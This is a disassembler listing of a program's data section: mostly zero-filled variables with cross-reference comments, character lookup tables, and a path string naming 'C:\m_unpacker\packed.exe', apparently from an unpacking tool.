dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
dword_4CE72C	dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437830o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2440B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2440B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
		dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2441140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2440650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2440000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2440758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2440758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
